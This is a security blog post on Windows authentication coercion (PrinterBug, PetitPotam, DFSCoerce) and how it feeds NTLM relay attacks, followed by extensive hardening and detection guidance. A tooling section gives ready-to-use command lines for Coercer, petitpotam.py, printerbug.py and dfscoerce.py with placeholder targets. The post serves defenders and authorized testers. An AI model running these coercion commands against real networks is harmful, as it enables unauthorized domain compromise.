J. Perez Duertojperezduerto.info

Authentication coercion: making a Windows host authenticate where you want, and shutting it down

  • windows
  • active-directory
  • ntlm-relay
  • coercion
  • hardening

Most NTLM relay attacks do not wait for a useful authentication to happen; they provoke one. Authentication coercion is the set of techniques that make a chosen Windows machine authenticate to a host the attacker picks, over SMB, as its machine account. That is the important part: a machine account is a full domain principal, so coercing a server (especially a domain controller) to authenticate gives the attacker a high-value authentication to relay, without phishing anyone. This post covers the common coercion primitives, why they are hard to simply patch away, and, at length, how a defender removes both the coercion surface and the relay payoff it feeds.

Coercion is a means, not an end. On its own it just makes a machine log in somewhere. It becomes dangerous when the resulting authentication is relayed, see coerced NTLM relay to LDAP for the back half of that chain.

Why it works

Several legitimate Windows RPC interfaces take a path or server name from a caller and then connect to it, authenticating as the local machine account as they go. An attacker supplies their own host as that path. The call is working exactly as designed; the design simply did not anticipate the destination being attacker-controlled. Because the behavior is a feature of each protocol rather than a single bug, closing one interface does not close the others, which is why defenders have to think in terms of surface, not a single patch.

The common primitives

Each of these is a documented RPC method abused to trigger outbound authentication. All are automated in public tooling (Coercer rolls up most of them; individual scripts exist too).

  • PrinterBug / SpoolSample (MS-RPRN). The Print System Remote Protocol. RpcRemoteFindFirstPrinterChangeNotificationEx makes a host running the Print Spooler authenticate back to a caller-supplied server. Microsoft treated this as "won't fix," and the spooler was historically on by default, including on domain controllers.
  • PetitPotam (MS-EFSRPC). The Encrypting File System Remote Protocol. Methods such as EfsRpcEncryptFileSrv take a file path; point it at a UNC path on your host and the target authenticates to you. Originally reachable unauthenticated in some configurations, later restricted.
  • DFSCoerce (MS-DFSNM). The Distributed File System Namespace Management protocol. Notably, it still works after the spooler is disabled and RPC filters are placed against PetitPotam, which is the whole point: it is a reminder that coercion is a surface with several doors.
  • ShadowCoerce (MS-FSRVP) and others round out the set. The specific interface matters less than the pattern.

The output of any of them is the same: the target machine account authenticates to the attacker over SMB, ready to be relayed.

How it fits a chain

  1. Stand up a relay listener aimed at a target service that does not enforce signing or channel binding (LDAP on a DC, an AD CS web enrollment endpoint, and so on).
  2. Coerce the chosen machine toward that listener with one of the primitives above. For a domain controller, you get the DC machine account authenticating.
  3. Relay the coerced authentication to the target service and act as the coerced principal: grant replication rights for DCSync, request a certificate for the machine (ESC8), create a delegation-capable account, and so on.

The coercion is interchangeable; the damage comes from the relay target being unhardened. That is good news for the defender, because the two halves can be fixed independently and either one breaks the chain.

Tooling and usage

The primitives are all implemented in public tools, so there is nothing to build. Targets below are placeholders; <listener> is your relay host.

  • Coercer (p0dalirius) sprays every known method at once and is the fastest way to find which door is open:
    coercer coerce -u user -p 'pass' -d domain.local -t <target-host> -l <listener>
  • Single-method scripts, when you want one specific path:
    # MS-EFSRPC (PetitPotam)
petitpotam.py -u user -p 'pass' -d domain.local <listener> <target>
# MS-RPRN (PrinterBug / SpoolSample)
printerbug.py 'domain.local/user:pass'@<target> <listener>
# MS-DFSNM (DFSCoerce)
dfscoerce.py -u user -p 'pass' -d domain.local <listener> <target>
  • NetExec bundles coercion checks (-M coerce_plus) for quickly testing exposure across many hosts at once.

On their own these only make <target> authenticate to <listener>. They matter when paired with a relay listener, which is the companion post below.

Defense

Attack this from both ends: shrink the coercion surface, and remove the relay payoff. The second matters more, because coercion has too many doors to close them all.

Remove the relay payoff (highest leverage). Even perfect coercion is inert if the relayed authentication cannot be used:

  • Enforce SMB signing everywhere (it is required by default on current Windows, confirm it is actually on).
  • Enforce LDAP signing and channel binding (Extended Protection) on every domain controller. This single control neutralizes the most damaging relay target.
  • On AD CS, enable Extended Protection for Authentication on the web enrollment endpoints, require HTTPS, or disable the HTTP endpoints you do not need.
  • Reduce NTLM generally (Network security: Restrict NTLM) and move toward Kerberos.

Shrink the coercion surface.

  • Disable the Print Spooler on servers that do not print, domain controllers first. This removes the MS-RPRN path entirely. Where the spooler must run, Group Policy can stop it accepting remote client connections.
  • Apply RPC filters to restrict or block the coercion interfaces (MS-EFSRPC, MS-RPRN, MS-DFSNM) from untrusted sources, and require packet-privacy authentication on them. Validate filter syntax against current Microsoft guidance before deploying; a wrong filter can break legitimate function.
  • Patch the coercion issues Microsoft has addressed (several EFSRPC methods were restricted over time), accepting that "won't fix" cases like the classic PrinterBug mean patching alone is not enough.
  • Disable the WebClient service where it is not needed, since it enables HTTP-based coercion that sidesteps SMB signing.

Contain the blast radius.

  • Mark high-privilege accounts "Account is sensitive and cannot be delegated," and minimize Kerberos delegation, so a coerced or relayed identity has less to abuse.
  • Segment the network so arbitrary hosts cannot reach DC SMB/LDAP, which leaves a coerced authentication with nowhere convenient to land.

Detection

  • Coercion RPC calls. With RPC auditing or network inspection, calls to the MS-EFSRPC, MS-RPRN, or MS-DFSNM interfaces from unexpected sources are the direct signal. The MSRPC-to-ATTACK project maps these interface and opnum values if you are building detections.
  • Unexpected outbound machine-account authentication. A server, especially a DC, authenticating over SMB to a host that is not a normal peer, particularly in a burst coincident with the RPC call above.
  • The relay that follows. Coercion rarely travels alone; pair the above with relay-target detections (a DCSync from a non-DC, a new replication-rights ACE, a certificate issued to a machine account) to catch the whole chain. See the DCSync post for that side.

The strongest signal is the sequence: a coercion RPC call, then the target machine account authenticating to an attacker host, then an action at a relay target moments later.

Use

This is for authorized assessment and for defenders mapping their own exposure. The tools and primitives are public; the reason to lay them out together is that it points at the two decisive controls, signing/channel-binding on relay targets and shrinking the coercion surface, that make an entire family of attacks a non-event. Harden the relay targets first; it is the fix that does not depend on closing every coercion door.

References

Back to all techniques